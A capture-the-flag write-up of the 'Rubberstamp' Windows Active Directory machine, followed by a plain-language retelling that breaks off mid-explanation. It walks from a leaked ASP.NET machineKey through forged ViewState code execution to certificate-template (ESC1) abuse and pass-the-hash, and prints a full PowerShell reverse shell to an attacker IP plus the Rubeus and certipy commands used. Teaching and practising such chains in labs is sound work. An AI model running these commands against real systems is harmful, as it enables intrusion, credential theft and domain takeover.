Rubberstamp — From a Backup File to Domain Admin
A publicly readable backup of Global.asax revealed a debug error handler that leaked the ASP.NET machineKey when an error was triggered on a legacy path with a debug flag. With the key, the attacker forged a malicious ViewState to achieve remote code execution, then exploited an AD CS ESC1 misconfiguration to impersonate a Domain Admin and take over the domain.
Rubberstamp is a Windows Active Directory machine that challenges you to pivot from a small information disclosure vulnerability on a legacy ASP.NET web application all the way to Domain Admin. No single step is catastrophic alone — the magic is in chaining them together.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Rubberstamp is a Windows Active Directory machine that takes you from a small information disclosure bug on a legacy ASP.NET web application all the way to Domain Admin. No single step is catastrophic on its own; the chain is what matters.
Context
The target is a Windows Server 2019 host that acts as a Domain Controller for [redacted]. The externally reachable service is a Microsoft IIS 10.0 web application built on ASP.NET MVC 5.2 and .NET 4.0.30319. Part of that application lives under a /legacy/ path, and the legacy code is where the whole chain starts.
The feature involved is a request status page, /legacy/RequestStatus.aspx, which looks up database records by an id parameter and renders them. The application also has a custom error handler in Global.asax that was written for debugging and left enabled in production.
Setup
| Item | Value |
|---|---|
| Target | [redacted] (SRV01.[redacted]) |
| Domain | [redacted] |
| OS | Windows Server 2019 |
| Web server | Microsoft IIS 10.0, ASP.NET MVC 5.2, .NET 4.0.30319 |
| Goals | User and Root flags |
Tools used across the engagement: nmap, nuclei, katana, ffuf, feroxbuster, curl, badsecrets (Python), ysoserial.net, Rubeus, certipy, evil-winrm, and a nc listener wrapped in rlwrap.
Finding it
A full port scan mapped the attack surface:
sudo nmap -sS -sCV -p- [redacted] -Pn --min-rate 1000
Key findings:
- 80/tcp: Microsoft IIS 10.0 (ASP.NET MVC 5.2, .NET 4.0.30319)
- 445/tcp: SMB 2.1 (NetBIOS
SRV01, DomainRUBBERSTAMP) - 389/tcp: LDAP
- 3389/tcp: RDP
- 88/tcp: Kerberos, which confirms the Domain Controller role
nuclei fingerprinting immediately surfaced something interesting:
[aspx-debug-mode] [medium] http://[redacted]/Foobar-debug.aspx[iis-shortname-detect] [info] http://[redacted]/*~1*/a.aspx[smb-enum] [info] DNSComputerName: SRV01.[redacted][ldap-metadata] [info] DomainFunctionality: 7 — ForestName: [redacted]
Crawling with katana exposed the endpoint that mattered:
http://[redacted]/legacy/RequestStatus.aspx
The /legacy/ path alone is a red flag: legacy code is rarely maintained and almost never secure.
Parameter discovery
Fuzzing parameters on the legacy endpoint:
ffuf -u "http://[redacted]/legacy/RequestStatus.aspx?FUZZ=1" \ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/burp-parameter-names.txt \ -fs 164 -fw 6
id, Id and ID all returned different responses (1265 bytes against the default 164 bytes). The page loaded database records:
id=1 → REQ-1 | approvedid=2 → REQ-2 | approved
SQL injection probe
Injecting a single quote:
curl "http://[redacted]/legacy/RequestStatus.aspx?id='"
The server returned a 302 → /Error?aspxerrorpath=/legacy/RequestStatus.aspx, the classic sign of a broken SQL query. SQL injection was confirmed in principle, but the dynamic __VIEWSTATE and an ASP.NET generic WAF made automated tools such as sqlmap unreliable here.
The backup file
Feroxbuster enumeration on the web root uncovered a critical file:
http://[redacted]/global.asax.bak
Global.asax is ASP.NET's application-level event handler, roughly the equivalent of index.php for routing and startup. Someone had left a backup copy publicly readable. Its content was explosive:
void Application_Error(object sender, EventArgs e){ if (!context.Request.Path.StartsWith("/legacy/", ...)) return; if (context.Request.QueryString["debug"] != "true") return; var ex = context.Server.GetLastError(); var mk = (MachineKeySection)ConfigurationManager .GetSection("system.web/machineKey"); context.Response.Write("<pre>" + ex.ToString() + "\n\nvalidationKey=" + mk.ValidationKey + "\ndecryptionKey=" + mk.DecryptionKey + "\nvalidation=" + mk.Validation + "</pre>");}
This custom error handler was designed for debugging but left in production. It prints the full machineKey to anyone who triggers an error on a /legacy/ path with ?debug=true in the query string.
Exploitation
Step 1: Leaking the machineKey
Trigger an error on the legacy page with the debug flag:
curl "http://[redacted]/legacy/RequestStatus.aspx?id='&debug=true"
The ' breaks the SQL query, which raises an unhandled exception, which invokes Application_Error, which dumps the keys:
System.FormatException: Input string was not in a correct format. at System.Number.ParseInt32(...) at Legacy_RequestStatus.Page_Load(...)validationKey=[redacted]=[redacted]=SHA1
The ASP.NET machineKey signs and encrypts the __VIEWSTATE hidden field, which stores the page's client-side state between requests. With the key, you can forge a __VIEWSTATE containing a malicious serialised .NET object. When the server deserializes it, your code executes: classic insecure deserialisation leading to RCE.
Step 2: Forging a malicious ViewState
ASP.NET 4.5+ does not sign ViewState directly with the raw machineKey. It first derives a page-specific subkey using the SP800-108 CTR KDF with a purpose string that includes the page's virtual path. Tools such as viewgen, or naive Python HMAC implementations, therefore produce incorrect MACs and the server rejects them with Validation of viewstate MAC failed.
The correct approach uses badsecrets, a Python library that faithfully reimplements .NET's key derivation:
from badsecrets.base import carve_all_modules# SP800-108 derives page-specific keyslbl, ctx = [redacted]( "WebForms.HiddenFieldPageStatePersister.ClientState", ["TemplateSourceDirectory: /LEGACY", "Type: LEGACY_REQUESTSTATUS_ASPX"])dekey = sp800_108_derivekey(EKEY, lbl, ctx, len(EKEY)*8)dvkey = sp800_108_derivekey(VKEY, lbl, ctx, len(VKEY)*8)
The payload chain:
- Generate a serialised
SortedSet<string>gadget chain viaysoserial.net(TypeConfuseDelegate toSystem.Diagnostics.Process.Start). - Patch the command bytes in the serialised payload, recalculating the VLQ length prefixes used by
BinaryFormatter. - Encrypt with AES-CBC using the derived key
dekey, prefixing a random IV. - Sign with HMAC-SHA1 over
IV + ciphertextusingdvkey. - Base64-encode and send as
__VIEWSTATE.
Step 3: Confirming RCE
A callback test confirmed code execution:
# Server-side: our payload ran# [redacted] → "GET /callback HTTP/1.1" 404 -
The debug trace on a first attempt revealed this error:
System.InvalidCastException: Unable to cast object of type'System.Collections.Generic.SortedSet`1[System.String]' to type'System.Web.UI.Pair'.
This is the signature of a successful TypeConfuseDelegate gadget chain: the malicious delegate fires during deserialisation before the framework tries to cast the result to Pair. The command had already run when the exception was thrown.
Step 4: Getting a shell
Start a listener:
rlwrap nc -lvnp 4444
Then send the PowerShell reverse shell as the command in the forged ViewState:
powershell -nop -w hidden -c "$c=New-Object Net.Sockets.TCPClient('<ATTACKER_IP>',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$rb=[Text.Encoding]::ASCII.GetBytes($r);$s.Write($rb,0,$rb.Length)}"
Sending the forged ViewState produced a connection:
whoamirubberstamp\svc-iisweb
The user flag was in C:\Users\Public\user.txt:
Go find it yourself
whoami /priv showed no usable impersonation privileges (no SeImpersonatePrivilege), which ruled out the classic Potato-family exploits for local privilege escalation.
Step 5: Pivoting into AD CS
whoami /groups revealed membership in:
BUILTIN\Certificate Service DCOM Access S-1-5-32-574
That group only exists when an AD CS role is present somewhere in the domain. certutil confirmed it:
CA Name: rubberstamp-SRV01-CAMachine Name: SRV01.rubberstamp.localEnterprise Root CA
SRV01 was both the Domain Controller and the Certificate Authority, a convenient single point of failure.
Step 6: Exporting a usable Kerberos ticket
To run certipy from the Linux attack box instead of Windows-native AD CS tooling, a usable Kerberos ticket for svc-iisweb was needed without knowing its password.
The first attempt failed:
Rubeus.exe dump /service:krbtgt /nowrap
It returned a ticket with an all-zero session key (AAAA...=), which is useless: the TGS-REQ needs the real session key to encrypt the Authenticator, so anything built from that ticket is rejected.
The correct technique is tgtdeleg, which abuses a fake Kerberos delegation via SSPI to extract a usable TGT with its real session key, without requiring elevated privileges:
Rubeus.exe tgtdeleg /nowrap
Step 7: Importing the ticket on Linux
echo "<base64>" | base64 -d > svc-iisweb.kirbiticketConverter.py svc-iisweb.kirbi svc-iisweb.ccacheexport KRB5CCNAME=$(pwd)/svc-iisweb.ccacheklist # confirms a valid TGT
Step 8: Enumerating with Certipy
certipy find -k -no-pass \ -u [redacted] \ -dc-ip [redacted] \ -target srv01.[redacted] \ -vulnerable
One gotcha: -target expects the DC's hostname (used to build the ldap/srv01.[redacted] SPN), not the domain name. Using -target [redacted] initially caused an LDAP invalidCredentials bind error even with a perfectly valid ticket.
Result:
Template Name : PrivClientAuthEnrollee Supplies Subject : TrueClient Authentication : True[+] User Enrollable Principals : RUBBERSTAMP.LOCAL\Domain Users[!] Vulnerabilities ESC1 : Enrollee supplies subject and template allows client authentication.
The CA also showed ESC8 (HTTP Web Enrollment enabled), but ESC1 was the more direct path.
Step 9: Exploiting ESC1
The PrivClientAuth template let any domain user (Domain Users, which includes svc-iisweb) do two dangerous things at once:
- supply their own subject/SAN when requesting a certificate (
EnrolleeSuppliesSubject) - get a certificate valid for client authentication
That combination is the definition of ESC1: you can request a certificate claiming to be anyone, including a Domain Admin.
Request a certificate impersonating the Administrator:
certipy req -k -no-pass \ -u [redacted] \ -dc-ip [redacted] \ -dc-host srv01.[redacted] \ -target srv01.[redacted] \ -ca rubberstamp-SRV01-CA \ -template PrivClientAuth \ -upn [redacted]
This produced administrator.pfx. Exchange it for an NTLM hash via PKINIT:
certipy auth \ -pfx administrator.pfx \ -dc-ip [redacted] \ -username administrator \ -domain [redacted]
Result:
Got hash for '[redacted]':[redacted]:<REDACTED>
Pass the hash:
evil-winrm -i [redacted] -u administrator -H <REDACTED>
That gave full Administrator access on the Domain Controller. The root flag was in C:\Users\Administrator\Desktop\root.txt:
Go find it yourself
Root cause
Three separate mistakes stack up:
- A debug error handler left in production.
Application_ErrorinGlobal.asaxwrites themachineKey(validation key, decryption key and algorithm) into the response whenever an error occurs on a/legacy/path with?debug=true. The backup copyglobal.asax.bakwas also publicly readable, which disclosed the handler's existence and behaviour before anyone triggered it. - A SQL injection in the legacy page. The
idparameter is concatenated into a query, so a single quote breaks it. Here the injection is the trigger for the error handler rather than the main exploit. - A dangerous certificate template.
PrivClientAuthallows enrollees to supply their own subject and permits client authentication, andDomain Userscan enrol. That is ESC1.
Existing defences did not stop the chain. An ASP.NET generic WAF was present and made sqlmap unreliable here. The leaked machineKey allowed forging ViewState for the legacy page. On the AD CS side, the CA was co-hosted on the DC.
Impact
An unauthenticated attacker who can reach the web application can leak the machineKey and forge a __VIEWSTATE that executes code as the IIS application pool identity, here rubberstamp\svc-iisweb. From that foothold, the Certificate Service DCOM Access group membership pointed to AD CS, and the PrivClientAuth template allowed requesting a certificate as [redacted]. Exchanging that certificate via PKINIT yielded the Administrator NTLM hash, and pass-the-hash gave full control of the Domain Controller. The result is complete domain compromise starting from a web-facing information disclosure.
Fix
Variants to test
- Backup and source files in the web root. Request
global.asax.bak,web.config.bak,.old,.zipand similar. A positive result is a readable file containing keys, connection strings or handler logic. - Debug error handlers. Append
?debug=true(or similar flags found in leaked source) to error-triggering requests on legacy paths. A positive result is a stack trace or key material in the response. - ViewState forgery with derived keys. When a
machineKeyis known, derive page-specific keys with SP800-108 and sign aysoserial.netpayload. A positive result is anInvalidCastExceptionmentioningSortedSetandPair, or an outbound callback. - AD CS template enumeration. Run
certipy find -vulnerablewith any domain user's ticket. A positive result is a template withEnrollee Supplies Subject: TrueandClient Authentication: TruethatDomain Userscan enrol in. - Ticket export without elevation. Try
Rubeus.exe tgtdeleg /nowrapwhendumpreturns an all-zero session key. A positive result is a TGT thatklistaccepts and thatcertipycan use with-k -no-pass.
What happened, in plain words
Imagine a company building where the front door is locked, but someone has taped a spare key under the doormat, and that key opens every office inside. That is roughly the story of this machine, called Rubberstamp.
A small web application, part of a Windows network, had a debugging feature left switched on. That feature would happily print a secret key to anyone who asked it the right way. The secret key is the one the web application uses to seal and unseal a hidden form field that travels back and forth between your browser and the server. If you know the key, you can seal your own malicious content into that field, and the server will trust it and run it. That gave the attacker a foothold on the server as a low-privileged web account.
From there, a second weakness in the same Windows network, this time in the system that issues digital certificates, let that low-privileged account ask for a certificate claiming to be the domain administrator. The certificate was handed over, exchanged for the administrator's password hash, and that hash was used to log in as the administrator. Full control of the network.
No single step was dramatic on its own. The lesson is the chain: a leaked backup file, a debug flag, a badly written database query and a loose certificate template, added together, became a full takeover.

The pieces you need to know first
Before walking through the steps, here are the ideas that come up again and again. Each one is explained from zero.
- A server and a port. A server is just a computer that answers requests. It listens on numbered doors called ports. Port 80 is the usual door for websites, 443 for encrypted websites, 445 for Windows file sharing, 389 for directory lookups, 3389 for remote desktop, and 88 for Kerberos, the Windows login system. Scanning ports tells you which doors are open.
- A web application. Software that runs on a server and answers browser requests. When you type a URL, your browser sends a request, and the server sends back a page.
- A URL parameter. The part of a URL after a question mark, like
?id=1. It is how you pass a value to the page. The page reads it and does something with it, often a database lookup. - A database and SQL. A database is an organised store of records. SQL is the language used to ask it questions, for example "give me the record whose id is 1". If a web page glues your input straight into an SQL sentence, you can change the sentence. That is SQL injection.
- A hidden form field. Web pages often carry small pieces of state in hidden fields that the browser sends back on the next request. In ASP.NET, the Microsoft web framework, the most famous one is called
__VIEWSTATE. It is a blob of data, sealed with a cryptographic signature so the server can tell whether it was tampered with. - A cryptographic key. A long random string used to lock (encrypt) and sign data. If you have the key, you can produce data that looks genuine to the server. The ASP.NET key used for this is called the machineKey.
- Deserialisation. Turning a stored blob of bytes back into live objects in memory. If an attacker controls the blob, they can sometimes make the server build objects that do things, like start a program. That is insecure deserialisation, and it often leads to RCE, remote code execution, meaning the attacker's code runs on the server.
- Active Directory (AD). Microsoft's central directory of users, computers and permissions for a Windows network. A Domain Controller (DC) is the server that runs it.
- Kerberos. The login system Windows uses. You prove who you are once and receive a ticket, a bit like a stamped wristband at an event, which you show to other services instead of your password.
- AD CS. Active Directory Certificate Services. It issues digital certificates, which are like ID cards signed by a trusted authority. A certificate can be used to log in.
- A hash. A one-way fingerprint of a password. If you have the hash, some Windows logins accept it directly, without ever knowing the password. That trick is called pass-the-hash.
The target
Rubberstamp is a Windows Server 2019 machine that acts as the Domain Controller for a network called [redacted]. The only thing reachable from outside is a Microsoft IIS 10.0 web application, built with ASP.NET MVC 5.2 on .NET 4.0.30319. Part of that application lives under a path called /legacy/, and legacy code is where the whole chain starts.
The feature involved is a request status page, /legacy/RequestStatus.aspx, which looks up database records by an id parameter and shows them. The application also has a custom error handler in a file called Global.asax, written for debugging and left switched on in production.
| Item | Value |
|---|---|
| Target | [redacted] (SRV01.[redacted]) |
| Domain | [redacted] |
| OS | Windows Server 2019 |
| Web server | Microsoft IIS 10.0, ASP.NET MVC 5.2, .NET 4.0.30319 |
| Goals | User and Root flags |
A flag here is a marker file placed on the machine to prove you reached a certain level. The user flag proves you got a normal account; the root flag proves you got the highest level of access.
The tools used across the engagement were nmap, nuclei, katana, ffuf, feroxbuster, curl, badsecrets (Python), ysoserial.net, Rubeus, certipy, evil-winrm, and a nc listener wrapped in rlwrap. Each one is explained where it first appears.
Finding it
Scanning the doors
The first step is always to see what the machine is offering. A port scan knocks on every door and reports which ones answer and with what.
sudo nmap -sS -sCV -p- [redacted] -Pn --min-rate 1000
Line by line:
sudoruns the command with administrator rights on the attacker's own machine, because raw network scanning needs them.nmapis the port scanner.-sSasks for a quiet half-open scan: it starts a connection and drops it before completing, which is faster and less noisy.-sCVtells nmap to also probe each open port to guess the service and its version.-p-means all 65,535 ports, not just the common ones.[redacted]is the target address.-Pnsays "do not bother checking whether the host is up first, just scan it".--min-rate 1000asks for at least 1000 packets per second, to keep the scan quick.
Why this step: you cannot attack what you cannot see. The scan maps the attack surface.
Key findings:
- 80/tcp: Microsoft IIS 10.0 (ASP.NET MVC 5.2, .NET 4.0.30319)
- 445/tcp: SMB 2.1 (NetBIOS
SRV01, DomainRUBBERSTAMP) - 389/tcp: LDAP
- 3389/tcp: RDP
- 88/tcp: Kerberos, which confirms the Domain Controller role
In plain words: port 80 is the website, 445 is Windows file sharing, 389 is the directory service, 3389 is remote desktop, and 88 is the Windows login service. Seeing 88 open is a strong hint that this machine is a Domain Controller, the brain of the Windows network.
Fingerprinting with nuclei
nuclei is a scanner that runs a large library of ready-made checks against a target and reports anything that matches.
[aspx-debug-mode] [medium] http://[redacted]/Foobar-debug.aspx[iis-shortname-detect] [info] http://[redacted]/*~1*/a.aspx[smb-enum] [info] DNSComputerName: SRV01.[redacted][ldap-metadata] [info] DomainFunctionality: 7 — ForestName: [redacted]
Line by line:
[aspx-debug-mode] [medium]is a finding: the scanner thinks an ASP.NET debug mode may be exposed, rated medium severity.[iis-shortname-detect] [info]is an informational note about IIS short-name behaviour, a quirk of how old Windows file names are abbreviated.[smb-enum] [info] DNSComputerName: SRV01.[redacted]tells us the machine's name and domain.[ldap-metadata] [info] DomainFunctionality: 7 — ForestName: [redacted]gives directory metadata, including the domain name.
Why this step: it is a quick way to spot known weaknesses and to learn names and versions before doing anything manual.
Crawling the site
katana is a crawler: it follows links from a starting page and lists everything it finds, like a browser that clicks every link automatically.
http://[redacted]/legacy/RequestStatus.aspx
This is the endpoint that mattered. The /legacy/ path alone is a red flag: legacy code is rarely maintained and almost never secure. Old code is like a back room nobody cleans; it is where the forgotten things live.
Web application enumeration
Finding the parameter
ffuf is a fuzzer: it sends many requests with different values in a chosen spot and reports which ones produce a different response. Here the chosen spot is the parameter name itself, marked FUZZ.
ffuf -u "http://[redacted]/legacy/RequestStatus.aspx?FUZZ=1" \ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/burp-parameter-names.txt \ -fs 164 -fw 6
Line by line:
ffufis the fuzzer.-u "...?FUZZ=1"is the URL template;FUZZis replaced with each candidate name from the wordlist.-w /usr/share/wordlists/SecLists/.../burp-parameter-names.txtis the wordlist of common parameter names to try.-fs 164hides any response whose size is exactly 164 bytes, because that is the boring default page.-fw 6hides any response with exactly 6 words, for the same reason.
Why this step: the page needs a parameter to do anything useful, and guessing its name is faster than reading source code you do not have.
id, Id and ID all returned different responses (1265 bytes against the default 164 bytes). The page loaded database records:
id=1 → REQ-1 | approvedid=2 → REQ-2 | approved
Line by line:
id=1returns a record labelledREQ-1with statusapproved.id=2returnsREQ-2, alsoapproved.
So the page takes a number, looks it up in a database, and prints the result. That is exactly the shape of a page that might be vulnerable to SQL injection.
Probing for SQL injection
curl is a command-line browser: it fetches a URL and prints the response.
curl "http://[redacted]/legacy/RequestStatus.aspx?id='"
Line by line:
curlfetches the URL.id='sends a single quote as the value ofid.
Why a single quote: in SQL, text values are wrapped in single quotes. Sending one on its own breaks the sentence the server is building, like putting a stray quotation mark in the middle of a spoken sentence. If the page is gluing your input into SQL, the query breaks.
The server returned a 302 → /Error?aspxerrorpath=/legacy/RequestStatus.aspx, the classic sign of a broken SQL query. A 302 is a redirect: the server sent the browser somewhere else, here to an error page. SQL injection was confirmed in principle, but the dynamic __VIEWSTATE and an ASP.NET generic WAF made automated tools such as sqlmap unreliable here.
A WAF is a Web Application Firewall: a filter that inspects requests and blocks ones that look malicious. sqlmap is a tool that automates SQL injection; it was unreliable here, so the attacker moved on to a different route.
The backup file
feroxbuster is a content discovery tool: it tries a long list of common file and folder names against a website and reports which ones exist.
http://[redacted]/global.asax.bak
This file was found on the web root. Global.asax is ASP.NET's application-level event handler, roughly the equivalent of index.php for routing and startup. Someone had left a backup copy publicly readable. A .bak file is a copy made before an edit, and it is very often forgotten in the web folder.
Its content was explosive:
void Application_Error(object sender, EventArgs e){ if (!context.Request.Path.StartsWith("/legacy/", ...)) return; if (context.Request.QueryString["debug"] != "true") return; var ex = context.Server.GetLastError(); var mk = (MachineKeySection)ConfigurationManager .GetSection("system.web/machineKey"); context.Response.Write("<pre>" + ex.ToString() + "\n\nvalidationKey=" + mk.ValidationKey + "\ndecryptionKey=" + mk.DecryptionKey + "\nvalidation=" + mk.Validation + "</pre>");}
Line by line:
void Application_Error(object sender, EventArgs e)defines a function that ASP.NET calls automatically whenever an error happens.if (!context.Request.Path.StartsWith("/legacy/", ...)) return;says: if the request was not for a/legacy/path, do nothing. So the handler only acts on legacy pages.if (context.Request.QueryString["debug"] != "true") return;says: if the URL does not containdebug=true, do nothing. So the handler only acts when the debug flag is present.var ex = context.Server.GetLastError();grabs the error that just happened.var mk = (MachineKeySection)ConfigurationManager.GetSection("system.web/machineKey");reads the application'smachineKeyconfiguration section.context.Response.Write("<pre>" + ex.ToString() + ...)writes the error text, then thevalidationKey, thedecryptionKeyand thevalidationalgorithm, into the page response.
Why this matters: this custom error handler was designed for debugging but left in production. It prints the full machineKey to anyone who triggers an error on a /legacy/ path with ?debug=true in the query string. The backup file told the attacker exactly how to ask for the key.
Exploitation
Step 1: Leaking the machineKey
Trigger an error on the legacy page with the debug flag:
curl "http://[redacted]/legacy/RequestStatus.aspx?id='&debug=true"
Line by line:
curlfetches the URL.id='sends the single quote that breaks the SQL query.&debug=trueadds the second parameter the error handler is waiting for.
Why this step: the quote causes an error, the error handler sees debug=true on a /legacy/ path, and it prints the keys.
The ' breaks the SQL query, which raises an unhandled exception, which invokes Application_Error, which dumps the keys:
System.FormatException: Input string was not in a correct format. at System.Number.ParseInt32(...) at Legacy_RequestStatus.Page_Load(...)validationKey=[redacted]=[redacted]=SHA1
Line by line:
System.FormatException: Input string was not in a correct format.is the error: the page tried to turn the quote into a number and failed.at System.Number.ParseInt32(...)andat Legacy_RequestStatus.Page_Load(...)are the stack trace, the list of functions that led to the error.validationKey=...is the key used to sign data.decryptionKey=...is the key used to encrypt data.validation=SHA1is the algorithm used for signing.
The ASP.NET machineKey signs and encrypts the __VIEWSTATE hidden field, which stores the page's client-side state between requests. With the key, you can forge a __VIEWSTATE containing a malicious serialised .NET object. When the server deserializes it, your code executes: classic insecure deserialisation leading to RCE.
In everyday terms: the server hands you a sealed envelope and trusts anything inside it as long as the seal is right. You now own the stamp used to make the seal, so you can put anything you like in the envelope.
Step 2: Forging a malicious ViewState
ASP.NET 4.5+ does not sign ViewState directly with the raw machineKey. It first derives a page-specific subkey using the SP800-108 CTR KDF with a purpose string that includes the page's virtual path. A KDF is a key derivation function: a recipe that turns one key into another, so that each page gets its own key. Tools such as viewgen, or naive Python HMAC implementations, therefore produce incorrect MACs and the server rejects them with Validation of viewstate MAC failed.
A MAC is a message authentication code, the cryptographic seal on the data. If the seal is computed with the wrong derived key, the server notices and refuses.
The correct approach uses badsecrets, a Python library that faithfully reimplements .NET's key derivation:
from badsecrets.base import carve_all_modules# SP800-108 derives page-specific keyslbl, ctx = [redacted]( "WebForms.HiddenFieldPageStatePersister.ClientState", ["TemplateSourceDirectory: /LEGACY", "Type: LEGACY_REQUESTSTATUS_ASPX"])dekey = sp800_108_derivekey(EKEY, lbl, ctx, len(EKEY)*8)dvkey = sp800_108_derivekey(VKEY, lbl, ctx, len(VKEY)*8)
Line by line:
from badsecrets.base import carve_all_modulesimports a helper from thebadsecretslibrary.lbl, ctx = [redacted](...)builds the two inputs the KDF needs: a label and a context. The label names the purpose, here the ViewState client state. The context lists the page's folder and type, here/LEGACYandLEGACY_REQUESTSTATUS_ASPX.dekey = sp800_108_derivekey(EKEY, lbl, ctx, len(EKEY)*8)derives the page-specific decryption key from the master decryption keyEKEY.dvkey = sp800_108_derivekey(VKEY, lbl, ctx, len(VKEY)*8)derives the page-specific validation key from the master validation keyVKEY.
Why this step: without the page-specific derived keys, the server rejects the forged ViewState. This is the part that trips up most people.
The payload chain:
- Generate a serialised
SortedSet<string>gadget chain viaysoserial.net(TypeConfuseDelegate toSystem.Diagnostics.Process.Start). - Patch the command bytes in the serialised payload, recalculating the VLQ length prefixes used by
BinaryFormatter. - Encrypt with AES-CBC using the derived key
dekey, prefixing a random IV. - Sign with HMAC-SHA1 over
IV + ciphertextusingdvkey. - Base64-encode and send as
__VIEWSTATE.
In plain words, step by step:
ysoserial.netis a tool that builds a blob of bytes which, when the server turns it back into objects, ends up running a command. TheSortedSet<string>gadget is a known recipe for this.- The command inside the blob is patched, and the length markers (
VLQprefixes) are recalculated so the blob stays valid.BinaryFormatteris the .NET component that reads such blobs. - The blob is encrypted with AES-CBC, a standard encryption mode, using the derived decryption key. A random
IV(initialisation vector) is put in front, which is normal for this mode. - The result is signed with HMAC-SHA1 using the derived validation key, so the server sees a valid seal.
- Everything is turned into text with Base64, a way of writing binary data using only letters and digits, and sent as the
__VIEWSTATEfield.
Step 3: Confirming RCE
A callback test confirmed code execution:
# Server-side: our payload ran# [redacted] → "GET /callback HTTP/1.1" 404 -
Line by line:
# Server-side: our payload ranis a comment noting that the payload executed on the server.# [redacted] → "GET /callback HTTP/1.1" 404 -shows the server making a request back to the attacker's machine, to a path called/callback. The404means the attacker's listener did not have that path, but the important part is that the request arrived at all.
Why this step: a callback is proof. If the server reaches out to you, your code ran.
The debug trace on a first attempt revealed this error:
System.InvalidCastException: Unable to cast object of type'System.Collections.Generic.SortedSet`1[System.String]' to type'System.Web.UI.Pair'.
Line by line:
System.InvalidCastExceptionmeans the code tried to treat one type of object as another type.Unable to cast object of type 'System.Collections.Generic.SortedSet1[System.String]'` is the object it actually got: a sorted set of strings, the gadget.to type 'System.Web.UI.Pair'is the type it expected.
This is the signature of a successful TypeConfuseDelegate gadget chain: the malicious delegate fires during deserialisation before the framework tries to cast the result to Pair. The command had already run when the exception was thrown. In other words, the error is good news: it means the payload was understood and executed.
Step 4: Getting a shell
A shell is a way to type commands on the remote machine and see the output, as if you were sitting at it.
Start a listener:
rlwrap nc -lvnp 4444
Line by line:
rlwrapwraps the next command so that arrow keys and history work nicely.ncis netcat, a simple tool that can listen on a port.-lmeans listen.-vmeans verbose, so it prints connection details.-nmeans do not resolve names, just use numbers.-p 4444means listen on port 4444.
Why this step: the payload will connect back to this port, and the listener catches the connection.
Then send the PowerShell reverse shell as the command in the forged ViewState:
powershell -nop -w hidden -c "$c=New-Object Net.Sockets.TCPClient('<ATTACKER_IP>',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$rb=[Text.Encoding]::ASCII.GetBytes($r);$s.Write($rb,0,$rb.Length)}"
Line by line:
powershellstarts Windows PowerShell, the scripting shell.-nopmeans no profile, so no startup scripts run and nothing interferes.-w hiddenmeans the window is hidden, so nothing pops up on screen.-c "..."means run the following command text.$c=New-Object Net.Sockets.TCPClient('<ATTACKER_IP>',4444)opens a network connection back to the attacker's machine on port 4444.$s=$c.GetStream()gets the stream of data on that connection.[byte[]]$b=0..65535|%{0}creates a buffer of 65536 zero bytes to read into.while(($i=$s.Read($b,0,$b.Length)) -ne 0){...}keeps reading until the connection closes.$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i)turns the received bytes into text.$r=(iex $d 2>&1|Out-String)runs that text as a command (iexmeans invoke expression) and captures the output.$rb=[Text.Encoding]::ASCII.GetBytes($r)turns the output back into bytes.$s.Write($rb,0,$rb.Length)sends the output back to the attacker.
Why this step: it turns the one-shot code execution into an interactive session.
Sending the forged ViewState produced a connection:
whoamirubberstamp\svc-iisweb
Line by line:
whoamiis the command that asks "who am I?".rubberstamp\svc-iiswebis the answer: the domainrubberstampand the accountsvc-iisweb, the low-privileged account the web application runs as.
The user flag was in C:\Users\Public\user.txt:
Go find it yourself
That is the marker file proving the first level was reached.
whoami /priv showed no usable impersonation privileges (no SeImpersonatePrivilege), which ruled out the classic Potato-family exploits for local privilege escalation. In plain words: some Windows accounts have a right that lets a program pretend to be another user, and a family of tricks called "Potato" abuses it. This account did not have that right, so the attacker had to look elsewhere.
Step 5: Pivoting into AD CS
whoami /groups lists the groups the account belongs to. It revealed membership in:
BUILTIN\Certificate Service DCOM Access S-1-5-32-574
Line by line:
BUILTIN\Certificate Service DCOM Accessis the group name.S-1-5-32-574is its security identifier, the unique number Windows uses for it.
That group only exists when an AD CS role is present somewhere in the domain. In other words, the group membership is a hint that a certificate authority exists.
certutil is a built-in Windows tool for certificate tasks. It confirmed it:
CA Name: rubberstamp-SRV01-CAMachine Name: SRV01.rubberstamp.localEnterprise Root CA
Line by line:
CA Name: rubberstamp-SRV01-CAis the name of the certificate authority.Machine Name: SRV01.[redacted]is the machine hosting it.Enterprise Root CAis the role: the top-level certificate issuer for the domain.
SRV01 was both the Domain Controller and the Certificate Authority, a convenient single point of failure. If you control the certificate issuer, you can make ID cards for anyone.
Step 6: Exporting a usable Kerberos ticket
To run certipy from the Linux attack box instead of Windows-native AD CS tooling, a usable Kerberos ticket for svc-iisweb was needed without knowing its password. certipy is a tool for attacking AD CS from Linux.
The first attempt failed:
Rubeus.exe dump /service:krbtgt /nowrap
Line by line:
Rubeus.exeis a Windows tool for working with Kerberos tickets.dumpmeans extract tickets from the current session./service:krbtgtasks for the ticket for thekrbtgtservice, which is the special account behind the domain's master ticket./nowrapmeans print the ticket as one long line of Base64 text instead of wrapping it.
It returned a ticket with an all-zero session key (AAAA...=), which is useless: the TGS-REQ needs the real session key to encrypt the Authenticator, so anything built from that ticket is rejected. In plain words, the ticket came without the secret part that proves it is really yours, so other services would not accept it.
The correct technique is tgtdeleg, which abuses a fake Kerberos delegation via SSPI to extract a usable TGT with its real session key, without requiring elevated privileges:
Rubeus.exe tgtdeleg /nowrap
Line by line:
tgtdelegis a Rubeus command that asks Windows to hand over a usable ticket through a built-in mechanism./nowrapagain prints it as one line of Base64.
A TGT is the first ticket you get when you log in, the one that lets you ask for other tickets. SSPI is the Windows interface programs use to talk to security providers like Kerberos.
Step 7: Importing the ticket on Linux
echo "<base64>" | base64 -d > svc-iisweb.kirbiticketConverter.py svc-iisweb.kirbi svc-iisweb.ccacheexport KRB5CCNAME=$(pwd)/svc-iisweb.ccacheklist # confirms a valid TGT
Line by line:
